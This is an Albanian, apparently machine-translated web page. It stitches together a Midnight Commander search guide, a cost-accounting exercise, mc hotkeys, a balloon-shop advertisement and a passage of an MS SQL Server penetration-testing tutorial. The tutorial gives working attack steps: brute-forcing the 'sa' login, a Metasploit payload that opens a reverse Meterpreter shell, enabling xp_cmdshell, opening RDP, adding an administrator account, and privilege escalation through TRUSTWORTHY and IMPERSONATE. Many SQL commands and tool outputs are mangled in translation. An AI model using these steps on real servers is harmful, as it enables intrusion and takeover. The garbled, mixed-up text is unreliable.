Metodat dhe mjetet për hakimin e bazave të të dhënave MS SQL. Balona nga "MF Poisk"

Kur përdorni gati produkte softuerike, për shembull CMS Joomla, mjaft shpesh ju duhet të merreni me faktin se në rezultatet e programit shfaqet ndonjë mesazh gabimi ose paralajmërim, por jo informacion i detajuar ku ndodhet kjo pjesë e kodit. Në këto raste, mënyra më e lehtë është të përdorni kërkimin e skedarëve në Komandant i mesnatës sipas rreshtit. Le të shohim se si ta bëjmë atë.

Zakonisht, dihet vendndodhja e përafërt e skedarit me fragmentin e kodit të kërkuar. Prandaj, para së gjithash, le të shkojmë te drejtoria në të cilën mund të gjendet ky skedar.

Në menunë e kontekstit në fushën " Filloni në:» ( Nga katalogu ) le të lëmë pikën: ne jemi tashmë në drejtorinë e synuar që përmban skedarin që kërkojmë. Por duke zgjedhur opsionin T ree" ( D pemë), mund të zgjidhni një drejtori tjetër për të kërkuar.

Fusha e kontekstit "Ena b le të injorohen drejtoritë" ( Dhe injoroni drejtoritë) mund të lihet bosh nëse nuk dëshironi të përjashtoni ndonjë drejtori të njohur nga kërkimi juaj për të ngushtuar kërkimin tuaj.

në fushë" emri i skedarit» ( Modeli i emrit ) duhet të futni një emër skedari ose një model emri skedari. Modeli përdor ? për çdo personazh ose * për çdo numër të çdo karakteri. Nëse nuk dimë asgjë as për emrin, as për shtrirjen e skedarit, mos ngurroni të hyni *.* .

Zgjidhni sipas dëshirës:

  • « F në mënyrë rekursive" ( Gjeni ri te në mënyrë ursive)
  • « U këndoni modelet e guaskës" ( M metakarakteret e guaskës)
  • "Cas e e ndjeshme" ( rast madje)
  • « A ll grupe karakteresh" ( AT të gjitha kodimet)
  • "S k ip e fshehur" ( kapërce scr s ju jeni e)

në fushë" përmbajtjen» ( përmbajtja ) futemi në rreshtin që Midnight Commander do të duhet të gjejë në të gjitha dosjet që has.

Zgjidhni sipas dëshirës:

  • Deti r ch për përmbajtjen" ( Kërko sipas përmbajtjes dhe imomu) ← KY OPTION ËSHTË I KËRKOHET PËR KËRKIM TË STRINGUT
  • "Re g shprehje e mirë" ( R shprehje e rregullt)
  • Kuptimi i rastit i tive" ( Kontabiliteti për re G istra)
  • "A l lcharsets" ( dielli e kodimet)
  • « W fjalë gropë" ( NGA kapje e tërë)
  • "Bredhi s mos godit" ( Përpara të parës X rroba)

Ne fillojmë kërkimin " O k" ( D me tutje), ndaloni me " C ansel" ( P thyej).

Pasi programi të kalojë nëpër të gjithë skedarët, ai do t'i shfaqë ato si një listë drejtorish që përmbajnë skedarë me përputhje + vetë skedarët me numra rreshtash në të cilët u gjetën përputhje me frazën e kërkimit.

Në përgjithësi, një program shumë i dobishëm kur kërkoni atë që dini, por nuk dini ku të kërkoni në mënyrë specifike. :)

Tabela tregon varësinë e kostove totale të ndërmarrjes nga produkti. Llogaritni kostot: fikse, variabël, mesatare totale, mesatare fikse, variabël mesatare. Në tabelë, plotësoni kolonat FC, VC, MC, ATC, AFC, AVC:

Kostot totale, TC, f.FCQVMCATCAVCA.F.C.
0 60
1 130
2 180
3 230
4 300

Zgjidhja:

kostot fikse ( kosto fikse) janë ato kosto që nuk varen nga vëllimi i produkteve ose shërbimeve të prodhuara. Sado që një firmë prodhon një produkt, vlera e kostove fikse nuk ndryshon. Edhe nëse firma nuk ka prodhuar një njësi të vetme prodhimi, ajo shkakton kosto, për shembull, mund të jetë marrja me qira e një dhome, pagesa e ngrohjes, pagesa e një kredie, etj.

Kështu, FC për çdo vëllim të prodhimit do të jetë e barabartë me 60 rubla.

Kostot e ndryshueshme ( Kostot e ndryshueshme) janë kosto që ndryshojnë me ndryshimet në vëllimin e produkteve ose shërbimeve. Së bashku me kostot fikse, ato janë të barabarta me vlerën e kostove totale ( kosto totale):

TC=FC+VC.

Nga këtu:

VC = TC - FC

VC(0) = 60 - 60 = 0,

VC(1) = 130 - 60 = 70,

VC(2) = 180 - 60 = 120,

VC(3) = 230 - 60 = 170,

VC(4) = 300 - 60 = 240.

kosto marxhinale ( kosto marxhinale) është rritja e kostove të lidhura me lëshimin e një njësie shtesë të prodhimit.

MC = ∆TC / ∆Q

Meqenëse në këtë problem rritja e prodhimit është gjithmonë e barabartë me 1, ne mund ta rishkruajmë këtë formulë si më poshtë:

MC = ∆TC / 1 = ∆TC

MC (1) = TC (1) - TC (0) = 130 - 60 = 70,

MC (2) = TC (2) - TC (1) = 180 - 130 = 50,

MC (3) = TC (3) - TC (2) = 230 - 180 = 50,

MC (4) = TC (4) - TC (3) = 300 - 230 = 70.

Kostot mesatare totale ( Kostot mesatare totale) është kostoja e prodhimit të një njësie të prodhimit.

ATC=TC/Q

ATC (1) = TC (1) / 1 = 130 / 1 = 130,

ATC(2) = TC(2) / 2 = 180 / 2 = 90,

ATC (3) = TC (3) / 3 = 230 / 3 = 76,67,

ATC (4) = TC (4) / 4 = 300 / 4 = 75.

Kostot mesatare fikse ( Kostot fikse mesatare) është kosto fikse për njësi të prodhimit.

AFC=FC/Q

AFC(1) = FC(1) / 1 = 60 / 1 = 60,

AFC(2) = FC(2) / 2 = 60 / 2 = 30,

AFC(3) = FC(3) / 3 = 60 / 3 = 20,

AFC(4) = FC(4) / 4 = 60 / 4 =15.

Kostot mesatare variabile ( Kostot mesatare variabile) është kosto variabile e prodhimit të një njësie të prodhimit.

AVC=VC/Q

AVC(1) = VC(1) / 1 = 70 / 1 = 70,

AVC(2) = VC(2) / 2 = 120 / 2 = 60,

AVC(3) = VC(3) / 3 = 170 / 3 = 56,67,

AVC(4) = VC(4) / 4 = 240 / 4 =60.

Duke ditur ATC dhe AFC, kostot mesatare variabile mund të gjenden gjithashtu si diferencë midis kostove mesatare totale dhe mesatare fikse:

AVC=ATC-AFC

Plotësoni boshllëqet në tabelë:

Lëshimi për njësi të kohës, Q, copë.Kostot totale, TC, f.FCQVMCATCAVCA.F.C.
0 60 60 0 - - - -
1 130 60 70 70 130 70 60
2 180 60 120 50 90 60 30
3 230 60 170 50 76,67 56,67 20
4 300 60 240 70 75 60 15

Gjeneral

Ctrl+x,j - Shfaq detyrat e sfondit

Ctrl-X+A - VFS aktuale (ftp, etj.)

ESC+shifror - njëjtë si F(shifror) (ESC+5 = F5)

F1-F12

F3 - Shiko skedarin

F3 - (Gjatë redaktimit) Filloni përzgjedhjen e tekstit. Shtypja përsëri F3 do të përfundojë përzgjedhjen

F4 - Redakto skedarin

F5 - Kopjo zgjedhjen

F6 - Zgjedhja e lëvizjes

F8 - Fshi përzgjedhjen

Shift+F1 - thërret menynë e kalimit të shpejtë midis pikave të montimit në panelin e majtë

Shift+F2 - thërret menynë e kalimit të shpejtë midis pikave të montimit në panelin e djathtë

Shift + F5 - kopjoni skedarin në të njëjtën drejtori

Shift + F6 - zhvendosni/riemërtoni skedarin në të njëjtën drejtori

Kërko

ctrl-s- Kërkim i shpejtë skedar ose drejtori

alt-shift-? - Thirret menyja e avancuar e kërkimit të skedarëve

Linja e komandës

ctrl-a - kursori në fillim

ctrl-e - kursori deri në fund

esc-! - të ekzekutojë komandën me parametra

ctrl-x, p ose alt+a - ngjitni emrin e drejtorisë

esc, hyj; ctrl-enter - dërgoni objektin aktual tek linja e komandës

ctrl-x,t - Ngjitni të gjitha objektet e zgjedhura në vijën e komandës

esc, tab - përfundimi i komandës

alt-a - ngjisni direktorinë aktuale në vijën e komandës

Alt-TAB (ESC+TAB) - Kombinimi më i lezetshëm për gjetjen e skedarëve të shkarkueshëm (për shembull, keni harruar se si të shkruani netcfg ose netconfig. Thjesht shkruani net në vijën e komandës dhe shtypni Alt-TAB - menjëherë do t'ju tregohet se çfarë mundeni vraponi, që fillon me fjalët net) shtypni dy herë!
alt-shift-! - prodhimi i rezultatit të komandës
ctrl-shift-v - ngjit nga clipboard

Operacionet në skedarë

Shift + F4 - Krijon një skedar të ri

shift-f6 - riemërto skedarin

ctrl+x,i Vështrim i shpejtë informacion rreth objektit aktual në panelin e dytë

Ctrl+x,q - Pamje e shpejtë e përmbajtjes së skedarit në panelin e dytë

alt-. - shfaq skedarët e fshehur

ctrl-x, c - lejet e skedarit

ctrl-x, o - pronari i skedarit

Shift-F3 - shikoni skedarin (të papërpunuar/pa marrë parasysh shtesën)

Ctrl + x v - krijoni një lidhje relative simbolike

trl+x,Ctrl+s - Ndrysho lidhjen simbolike

ctrl-t - shënoni ose hiqni shenjën e një skedari

+ - zgjidhni (shënoni) një grup skedarësh me shprehje të rregullt

\ - zgjidhni një grup skedarësh

ctrl-x, ctrl-d - krahasoni skedarët

ctrl-t ose Insert - Zgjidhni objektin aktual

Puna me drejtoritë

alt-o - hapni drejtorinë nën kursorin në panelin ngjitur

alt-i - hapni drejtorinë aktuale në panelin ngjitur

trl-\ - shfaq "Direktoria e drejtorive"

alt-shift-h - Shfaq historikun e drejtorisë

Ctrl+l - Rivizato ekranin

Ctrl+Space - Trego madhësinë e drejtorisë aktuale

Ctrl-X+D - krahasoni drejtoritë

ESC + C - ndryshoni shpejt direktorinë

alt-c - dritarja "Ndryshimi i shpejtë i drejtorisë".

Puna me panele

Ctrl-O - fikni panelet dhe shikoni se çfarë ka nën to (funksionon VETËM në Linux!) Këtu mund të punoni në shell.

alt-, — Ndërroni modalitetin e shfaqjes së panelit (vertikalisht/horizontalisht)

alt-t ndërron modalitetin e ekranit të detajuar të panelit

Meta + c - Thirret menyja për ndryshimin e shpejtë të drejtorisë aktuale në panelin aktiv

ctrl-u - ndërroni panelet

alt-g - shënon skedarin ose drejtorinë e parë në listën e shfaqur në panel (në thelb si tasti Home, ngre kursorin lart)

alt-e - ndryshoni kodimin e panelit

Ctrl + x i - vendos panelin pasiv në modalitetin "Info".

Ctrl + x q - vendos panelin pasiv në modalitetin e shikimit të shpejtë

ctrl x! - menyja → "Kriteri i panelizimit" (git)

Histori

alt+h; esc, h - historia e linjës së komandës

alt-p, alt-n - ktheni vijën(et) e komandës së mëparshme (tjetrës)

alt-y. Kalimi në drejtorinë e mëparshme nga historia e navigimit të direktorisë; është e barabartë me klikimin në simbolin '<‘ в верхнем углу панели.

alt-u. Kalimi në drejtorinë tjetër nga historia e navigimit të direktorisë; është e barabartë me klikimin e simbolit '>' me miun.

Redaktor

F4 (në redaktues) - kërkoni dhe zëvendësoni

F6 (në redaktues) - kërkoni duke përdorur shprehje të rregullta

Shift-Del (në redaktues) - fshini bllokun (dhe vendoseni në clipboard)

Shift-Ins (në redaktues) - ngjitni bllokun nga clipboard (funksionon edhe në një tastierë tjetër!!!) Mund të redaktoni dy ose më shumë skedarë në konzola të ndryshme dhe të zhvendosni blloqe midis tyre.

Shift+F3 - Filloni të zgjidhni një bllok teksti. Shtypja përsëri F3 do të përfundojë përzgjedhjen

Shift+F5 - Ngjit tekstin nga kujtesa e brendshme e mc (lexo skedarin e jashtëm)

Meta + i - Ndërrimi i modalitetit "Rreshtimi automatik i kthimit të transportit", i dobishëm kur ngjitni tekstin e formatuar nga kujtesa e fragmenteve

Meta+l - Shko te rreshti sipas numrit të rreshtit

Meta + q - Fut një literal (karakter jo të printueshëm). tabela më poshtë

Meta+t - Rendit linjat e tekstit të zgjedhur

Meta+u - Ekzekutoni një komandë të jashtme dhe ngjitni daljen e saj në pozicionin nën kursor

Ctrl + f - Sillni fragmentin e zgjedhur në kujtesën e brendshme mc (shkruani në një skedar të jashtëm)

Ctrl+k - Fshini një pjesë të një rreshti deri në fund të rreshtit

Ctrl + n - Krijo një skedar të ri

Ctrl+s - Aktivizoni ose çaktivizoni theksimin e sintaksës

Ctrl+t - Zgjidhni kodimin e tekstit

Ctrl+u - Zhbër veprimet

Ctrl+x - Shkoni në fund të radhës

Ctrl + y - Fshi rreshtin

Ctrl+z - Shkoni në fillim të fjalës së mëparshme

Meta+Enter - Dialog për kalimin në përkufizimin e një funksioni

Meta+- — Kthehu pas kalimit te një përkufizim funksioni

Meta++ - Shkoni përpara te përkufizimi i funksionit

Meta+n - Aktivizo/çaktivizon shfaqjen e numrave të linjave

skeda Zhvendos tekstin e zgjedhur djathtas nëse opsioni Blloqe të vazhdueshme është i çaktivizuar

Meta-tab Zhvendos tekstin e zgjedhur majtas nëse opsioni Blloqe të vazhdueshme është i çaktivizuar

Shift + Shigjeta Zgjidhni tekstin

Meta + Shigjeta Zgjidhni kutinë vertikale

Meta + Shift + - Ndërrimi i mënyrës së shfaqjes së skedave dhe hapësirave

Meta+Shift++ Ndërrimi i modalitetit "Rreshtimi automatik i kthimit të transportit"

Organizimi i një festë është një detyrë e vështirë. Ka kaq shumë gjëra për të menduar dhe për t'u kujdesur. Kompania MF Poisk thjeshton një nga detyrat - dekor. Ne kemi mbledhur katalog i mallrave për pushime, i cili përmban shumë mjete të dizajnit dekorativ të ambienteve dhe gjëra të vogla të dobishme për mbajtjen e festimeve.

Katalogu i mallrave për pushime: përpilimi i një liste blerjesh

Katalogu i Kërkimit MF mund të quhet një listë e gatshme për blerje. Ka një strukturë të përshtatshme dhe të detajuar. Mund të blini tek ne:

  • Pajisjet e dasmës. Shirita, konfeti, brava, dekor për sallën dhe makinën dhe shumë të tjera.
  • Gjithçka për karnavalin. Në këtë seksion do të gjeni aksesorë të nevojshëm për një festë me kostum, karnaval të Vitit të Ri, Halloween, ditëlindje me temë etj.
  • Enët e tavolinës për një përdorim. Tavolina nuk shtrohet gjithmonë me porcelan dhe qeramikë. Për shembull, për të shërbyer një tryezë për fëmijë ose për të festuar një ditëlindje në zyrë, është më e përshtatshme të përdorni pjata dhe gota letre.
  • Lodra feste dhe flluska sapuni. Në mënyrë që fëmijët të mos mërziten në festë, duhet të kujdeseni paraprakisht për kohën e lirë. Ju jeni me fat! Ne kemi mbledhur të gjitha mjetet e nevojshme, ju vetëm duhet të gjeni një përdorim për të.
  • Flapers dhe xixëllonja. Ata do ta bëjnë festën të ndritshme dhe të paharrueshme.
  • Qirinj. Dekoroni një tortë, kaloni një mbrëmje romantike, bëni një surprizë - ka një grup qirinjsh për çdo rast.

Balona nga "MF Poisk"

MF Poisk është furnizuesi më i madh i balonave. Ne bashkëpunojmë me prodhues nga SHBA, Spanja, Meksika. Ne ofrojmë certifikata të cilësisë dhe ofrojmë gamën më të plotë të balonave në mënyrë që ju të krijoni përbërjen tuaj unike për çdo ngjarje. Të gjitha balonat në katalogun tonë mund të ndahen në latex dhe fletë metalike.

  • Lateksi. Ato mund të zgjidhen në varësi të ngjyrës, madhësisë, formës, temës. Ne shesim balona me dhe pa model, si dhe ofrojmë shërbimin e aplikimit të logos. Përveç opsioneve klasike, ne ofrojmë edhe ato të pazakonta - topa punch, lidhje, topa kaçurrelë dhe për modelim.
  • Petë metalike. Ka edhe shumë për të zgjedhur: në këmbë, të mëdha, mini, në formën e numrave. Për lehtësinë e zgjedhjes, ne kemi renditur produktet sipas lëndës, mund të shkoni lehtësisht në seksionin me produkte për dasma, ditëlindje, Viti i Ri dhe raste të tjera të veçanta.

Më vete vendosëm aksesorë për topa, si shkopinj ose pesha. Projektuesit do të jenë të interesuar në seksionin me pajisje - cilindra helium, pompa, bojë për printim.

Pse të zgjidhni MF Search?

  • Katalogu më i madh i topave.
  • Certifikatat publike të cilësisë.
  • Shuma minimale e porosisë është në dispozicion për çdo blerës, pavarësisht nga qëllimi i ngjarjes.
  • Të gjitha furnizimet për pushime në një vend.
  • Zbritje për shitje të mëdha me shumicë.

Ne përpiqemi ta bëjmë qëndrimin tuaj të rehatshëm në sit, prandaj kemi krijuar seksione të veçanta me produkte të reja, bestseller, si dhe njoftime "Së shpejti". Me ne do të siguroheni që të jetë e lehtë të organizoni një festë!

Pothuajse asnjë pentest serioz nuk është i plotë pa kontrolluar DBMS, sepse është një nga dyert më të njohura për sulmuesit drejt informacionit dhe makinës së dëshiruar. AT projekte madhore MS shpesh përdoret si DBMS SQL Server. Dhe sot do të flasim për kontrollin e sigurisë së tij. Ne nuk do ta hapim Amerikën - shokët me përvojë vetëm do të rifreskojnë njohuritë e tyre, por për ata që sapo kanë filluar të zotërojnë temën, u përpoqa të zbërthej gjithçka sa më e detajuar.

PARALAJMËRIM!

I gjithë informacioni jepet vetëm për qëllime informative. As autori dhe as redaktorët nuk janë përgjegjës për ndonjë dëm të mundshëm të shkaktuar nga materialet e këtij artikulli.

Prezantimi

Një nga kriteret më të rëndësishme të besueshmërisë sistemi i informacionit- Siguria e DBMS. Sulmet e drejtuara ndaj tij janë në shumicën e rasteve kritike, sepse ato mund të prishin pjesërisht ose plotësisht performancën e sistemit. Meqenëse organizatat e mëdha e kanë formuar infrastrukturën e tyre shumë kohë më parë dhe përditësimi në versionet e reja të softuerit shkakton probleme "të mëdha" për to, versionet më të zakonshme janë ende MS SQL Server 2005 dhe MS SQL Server 2008. Por këto janë vetëm statistika, dhe më tej do të merrni parasysh vektorët dhe teknikat e përbashkëta për të gjitha versionet. Për lehtësi, ne do ta ndajmë me kusht të gjithë procesin e pentestit në disa faza.

Si të gjeni MS SQL

Gjëja e parë që një pentester fillon të bëjë është mbledhja e informacionit në lidhje me shërbimet e vendosura në serverin e viktimës. Gjëja më e rëndësishme që duhet të dini kur kërkoni për Microsoft SQL Server janë numrat e portave që ai dëgjon. Dhe ai dëgjon portat 1433 (TCP) dhe 1434 (UDP). Për të kontrolluar nëse ka MS SQL në serverin e viktimës, duhet ta skanoni atë. Për ta bërë këtë, mund të përdorni Nmap me skriptin ms-sql-info. Skanimi do të fillojë kështu:

nmap -p 1433 --script=ms-sql-info 192.168.18.128

Epo, rezultati i ekzekutimit të tij është treguar në Fig. një.

Përveç Nmap, ekziston një modul i shkëlqyer skanimi për Metasploit mssql_ping, i cili gjithashtu ju lejon të përcaktoni praninë e MS SQL në serverin e sulmuar:

Msf> përdorni ndihmëse/skaner/mssql/mssql_ping msf ndihmëse(mssql_ping) > vendosni RHOSTS 192.167.1.87 RHOSTS => 192.168.1.87 msf ndihmëse(mssql_ping) > ekzekutoni

Duke përdorur një nga këto opsione, mund të përcaktoni shpejt nëse MS SQL është instaluar në server, si dhe të zbuloni versionin e tij. Pas kësaj, mund të vazhdoni në fazën tjetër.


forcë e madhe

Le të themi se kemi gjetur një DBMS në server. Tani detyra është të keni akses në të. Dhe këtu na takon pengesa e parë në formën e vërtetimit. Në përgjithësi, MS SQL mbështet dy lloje të vërtetimit:

  1. Autentifikimi i Windows - Një lidhje e besuar ku SQL Server pranon një llogari përdoruesi duke supozuar se ajo tashmë është vërtetuar në sistemi operativ.
  2. Modaliteti i përzier - vërtetimi duke përdorur SQL Server + Autentifikimi i Windows.

Si parazgjedhje, përdoret mënyra e parë e vërtetimit dhe mënyra e përzier aktivizohet veçmas. Në praktikë, është mjaft e vështirë të takosh një bazë pa modalitet të përzier - është më fleksibël.

Disa përfitime të modalitetit të përzier

  • Lejon SQL Server të mbështesë aplikacione të vjetra, si dhe aplikacione të palëve të treta që kërkojnë vërtetimin e SQL Server.
  • Lejon SQL Server të mbështesë mjedise me shumë OS ku përdoruesit nuk vërtetojnë në një domen Windows.
  • Lejon zhvilluesit software Shpërndani aplikacionet tuaja përmes një hierarkie komplekse të lejeve bazuar në hyrjet e njohura, të para-krijuara të SQL Server.

Zakonisht në këtë fazë nuk kemi akses në rrjetin e korporatës, kështu që nuk mund të përdorim vërtetimin e Windows. Por ne gjetëm port i hapur me MS SQL, që do të thotë se po përpiqemi të hakojmë llogarinë e administratorit sa, e cila është standarde për modalitetin e përzier. Për të automatizuar procesin, ne përdorim modulin Metasploit mssql_login:

Msf > përdor ndihmës/skaner/mssql/mssql_login msf ndihmës(mssql_login) > vendos RHOSTS 172.16.2.104 RHOSTS => 172.16.2.104 msf ndihmëse(mssql_PASSs. 1433 - MSSQL - Nisja e skanerit të vërtetimit. [*] 172.16.2.104:1433 - HYRJA DËSHTOI: WORKSTATION\sa:admin (E pasaktë:) [*] 172.16.2.104:1433 - HYRJA DËSHTOI: WORKSTATION\sa:qwerty (I pasaktë) - HYRJA DËSHTOI: WORKSTATION\sa:toor (E pasaktë:) [+] 172.16.2.104:1433 - LOGIN E SUKSES: WORKSTATION\sa:root [*] Skanuar 1 nga 1 host (100% i përfunduar) [*] Përfundimi i modulit shtesë

E shkëlqyeshme! Fjalëkalimi është gjetur, tani mund të vazhdojmë në hapin tjetër. Por, çka nëse nuk ka llogari sa në server? Pastaj do të duhet të bruto login gjithashtu, për të cilin do të jetë e nevojshme t'i tregoni skriptit një skedar tjetër nga t'i merrni ato:

Msf ndihmëse(mssql_login) > vendos USER_FILE /root/Desktop/user.txt

Marrja e një guaskë

Nëse kemi arritur të brute llogarinë sa, ne mund të hyjmë në bazën e të dhënave. Më tej, skripti është i thjeshtë - ne përfshijmë një procedurë të ruajtur që na lejon të ekzekutojmë komanda në nivelin e sistemit operativ dhe të ngarkojmë guaskën Meterpreter në server. Djemtë e lezetshëm shkruan një modul të shkëlqyeshëm mssql_payload për Metasploit që automatizon këtë proces:

Msf > përdor exploit/windows/mssql/mssql_payload msf exploit(mssql_payload) > vendos RHOST 172.16.2.104 msf exploit(mssql_payload) > cakto USERNAME sa USERNAME => sa msf exploit(mssql_payload) mssql_payload) > vendos PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp ) [*] Sesioni 1 i Matësit u hap (172.16.2.105:4444 -> 172.16.2.101)-> 172.16.2.101)-204:204:204. 52 -0500 metërprerës >

U krijua sesioni i njehsorit, tani e keni akses të plotë. Mund të hiqni hash-in e administratorit, të merrni pamje nga ekrani, të krijoni/fshini skedarë, të aktivizoni/çaktivizoni miun ose tastierën dhe shumë më tepër. Ndoshta kjo është guaska më e njohur që përdoret në testet e depërtimit. Lista e plotë Komandat e njehsorit mund të shikohen.

Çfarë duhet të bëni nëse emri i përdoruesit/fjalëkalimi nuk është i prishur?

Por mos u kënaqni, moduli mssql_login nuk do t'ju pëlqejë shpesh: administratorët shumë rrallë lënë fjalëkalimin e paracaktuar. Në këtë rast, injeksioni SQL do të na ndihmojë të marrim guaskën. Imagjinoni një formë HTML ku përdoruesi fut një numër artikulli dhe një pyetje të thjeshtë të cenueshme të bazës së të dhënave, të gjitha funksionojnë nën llogarinë e administratorit sa:

$strSQL = "SELECT * FROM . WHERE id=$id";

Ndryshorja $id nuk filtrohet në asnjë mënyrë, që do të thotë se është e mundur të kryhet një injeksion SQL në të cilin çdo kërkesë do të ekzekutohet nga llogaria e administratorit sa. Për të ekzekutuar komanda në nivelin e sistemit operativ, duhet të aktivizoni procedurën e ruajtur xp_cmdshell, e cila është e çaktivizuar si parazgjedhje. Ne duhet të dërgojmë katër kërkesa për ta aktivizuar atë:

  1. EXEC sp_configure "shfaq opsionet e avancuara",1;
  2. rikonfiguro;
  3. 'exec sp_configure "xp_cmdshell",1;
  4. rikonfiguroj

Procedura e ruajtur në sistem sp_configure ju lejon të shikoni, dokumentoni, modifikoni dhe rivendosni konfigurimin e serverit. Mënyra më e lehtë për të hyrë në server është të aktivizoni RDP përmes regjistrit, të krijoni një përdorues me të drejta administratori dhe të lidheni.

Aktivizo RDP:

dhjetë; reg shtoni "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

Krijo një përdorues:

dhjetë; exec master.dbo.xp_cmdshell "toor neto i përdoruesit rrënjë /ADD"

Ne japim të drejta:

10;exec master.dbo.xp_cmdshell "administratorët neto të grupeve lokale root/add"

Përshkallëzimi i privilegjeve. I BESUESHËM

Në rastin e mëparshëm, kërkesa për bazën e të dhënave u bë në emër të administratorit, dhe për këtë arsye ishte kaq e lehtë për të ekzekutuar komandat e sistemit operativ. Por, çka nëse kemi një llogari të cunguar që nuk ka të drejtat për të aktivizuar xp_cmdshell? Në këtë rast, procedurat e ruajtura dhe vetia TRUSTWORTY e aktivizuar e bazës së të dhënave do të na ndihmojnë.

Por le të fillojmë nga fillimi. Për qartësi më të madhe të këtij vektori, unë do të përshkruaj të gjithë fazën në fazën e konfigurimit të bazës së të dhënave dhe llogarive. Ne krijojmë bazë e re YOLO: KRIJO BAZA E TË DHËNAVE YOLO; . Krijo një përdorues të ri bob me fjalëkalim marley: KRIJO LOGIN bob ME PASSWORD = "marley"; Cakto përdoruesin bob si pronar të bazës së të dhënave YOLO:

PËRDORNI YOLO ALTER LOGIN me default_database = ; KRIJO PËRDORUES NGA LOGIN ; EXEC sp_addrolemember, ;

Më pas vendosim veçorinë TRUSTWORTHY, e cila përcakton nëse do të lejohen objektet e kësaj baze të dhënash (pamjet, funksionet e përcaktuara nga përdoruesi, procedurat e ruajtura) të kenë akses tek objektet jashtë kësaj baze të dhënash në modalitetin e imitimit: ALTER BAZA TË TË DHËNAVE YOLO SET BESUESHME ON . Hyni në SQL Server duke përdorur llogarinë bob:marley.

Krijo një procedurë të ruajtur për të caktuar llogari Privilegjet bob sysadmin:

PËRDORNI YOLO GO KRIJO PROCEDURË sp_lvlup ME EKZEKUTIM SI PRONAR SI EXEC sp_addsrvrolember "bob","sysadmin" GO

Le të sigurohemi që nuk kemi privilegje sysadmin përpara se të ekzekutojmë procedurën e ruajtur:

SELECT is_srvrolemember("sysadmin") rezultat = 0

Le të ekzekutojmë procedurën e ruajtur sp_lvlup të krijuar më sipër:

PËRDORNI YOLO EXEC sp_lvlup

Le të kontrollojmë sërish privilegjet tona:

SELECT is_srvrolemember("sysadmin") rezultat = 1

sp_lvlup është krijuar për të ekzekutuar si OWNER, që në këtë rast është llogaria e administratorit sa. Kjo është e mundur sepse db_owner ka krijuar një procedurë të ruajtur për bazën e të dhënave të saj dhe ajo bazë e të dhënave është konfiguruar të jetë e besueshme, d.m.th. vetia TRUSTWORTHY = On. Pa këtë pronë, procedura nuk do të mund të ekzekutohej për shkak të mungesës së privilegjeve. Një pronë e aktivizuar e BESUESHME nuk është gjithmonë një gjë e keqe. Problemet fillojnë kur administratorët nuk ulin privilegjet e pronarëve të bazës së të dhënave. Si rezultat, pas ekzekutimit të procedurës sp_lvlup, llogarisë bob iu dhanë privilegje sysadmin. Për të parë se cilat baza e kanë të aktivizuar veçorinë TRUSTWORTHY, mund të përdorni pyetjen e mëposhtme:

SELECT emrin, database_id, is_trustworthy_on FROM sys.databases

Ose, për të automatizuar të gjithë procesin, mund të përdorni modulin Metasploit mssql_escalate_dbowner_sqli:

Përdorni ndihmës/admin/mssql/mssql_escalate_dbowner_sqli set rhost 172.16.2.104 set rport 80 set GET_PATH /login.asp?id=1+and+1=;-- shfrytëzuar ... [+] 172.14:8.2 -ccess! Bob tani është një sysadmin!

Përshkallëzimi i privilegjeve. Imitimi i përdoruesit

Vektori tjetër quhet Imitimi i Përdoruesit. Ndonjëherë procedurat e ruajtura duhet të kenë akses në burime të jashtme jashtë bazës së aplikacionit. Për ta arritur këtë, zhvilluesit përdorin privilegjin IMPERSONATE dhe funksionin EXECUTE AS për të ekzekutuar një kërkesë në emër të një llogarie tjetër. Kjo nuk është një dobësi në vetvete, por një konfigurim i dobët që çon në përshkallëzimin e privilegjeve.

Si në shembullin e mëparshëm, ne do të fillojmë të analizojmë thelbin e vektorit në fazën e konfigurimit. Para së gjithash, ne krijojmë katër llogari:

KRIJO LOGIN Përdoruesi1 ME PASSWORD = "sekret"; KRIJO LOGIN User2 ME PASSWORD = "sekret"; CREATE LOGIN User3 ME PASSWORD = "sekret"; CREATE LOGIN User4 WITH PASSWORD = "sekret";

Pastaj i japim përdoruesit User1 privilegjet për të ekzekutuar kërkesat në emër të sa , User2 , User3:

USEmaster; GRANT IMPERSONATE NË LOGIN::sa në ; GRANT IMPERSONATE NË LOGIN::MyUser2 për ; GRANT IMPERSONATE NË LOGIN::MyUser3 në ; SHKO

Ne hyjmë në SQL Server nën llogarinë User1 dhe kontrollojmë nëse janë zbatuar privilegjet për të ekzekutuar pyetje nga llogaritë e tjera.

ZGJIDHni b.emrin e veçantë NGA sys.server_permissions një BASHKIMI I BRENDSHËM sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = "IMPERSONATE"

Tani le të kontrollojmë privilegjet aktuale:

SELECT SYSTEM_USER SELECT IS_SRVROLEMEMBER("sysadmin") Rezultati = 0

Epo, tani truku në vetvete është të ekzekutoni kërkesën në emër të sa , pasi më lart i dhamë privilegjet llogarisë User1 për të ekzekutuar kërkesat në emër të sa:

EKZEKUTOHET SI LOGIN = "sa" ZGJIDH SYSTEM_USER SELECT IS_SRVROLEMEMBER("sysadmin") Rezultati = 1

Në rregull, tani ne mund të ekzekutojmë komanda në emër të sa , që do të thotë se mund të përfshijmë procedurën e ruajtur xp_cmdshell:

EXEC sp_configure "shfaq opsionet e avancuara", 1 RICONFIGURE GO EXEC sp_configure "xp_cmdshell", 1 RICONFIGURE GO

INFO

Llogaria e parazgjedhur e sysadmin mund të ekzekutojë pyetje si çdo përdorues tjetër. Për të shfaqur një tabelë me të gjithë përdoruesit, pyetja do t'ju ndihmojë: SELECT * FROM master.sys.sysusers WHERE islogin = 1 . Për të ekzekutuar një kërkesë në emër të një llogarie tjetër, përdorni EXECUTE AS LOGIN = "AnyUser" . Për t'u kthyer sërish në llogarinë e mëparshme, mjafton të lëshoni një pyetje REVERT.

Kjo është e gjithë çështja. Për automatizim, si zakonisht, mund të përdorni modulin mssql_escalete_executeas_sqli Metasploit:

Përdorni ndihmës/admin/mssql/mssql_escalate_execute_as_sqliex set rhost 172.16.2.104 set rport 80 set GET_PATH /login.asp?id=1+and+1=;-- exploit ... [+] 172.14:8.0 - Sukses. User1 është tani një sysadmin!

Përshkallëzimi i privilegjeve. Procedurat e ruajtura të nënshkruara me një certifikatë

Për të përshkruar këtë vektor, le të krijojmë një procedurë të ruajtur të cenueshme të nënshkruar me një certifikatë. Ndryshe nga shembujt e mëparshëm, përshkallëzimi i privilegjeve nuk kërkon:

  • prona E BESUESHME = Aktiv ;
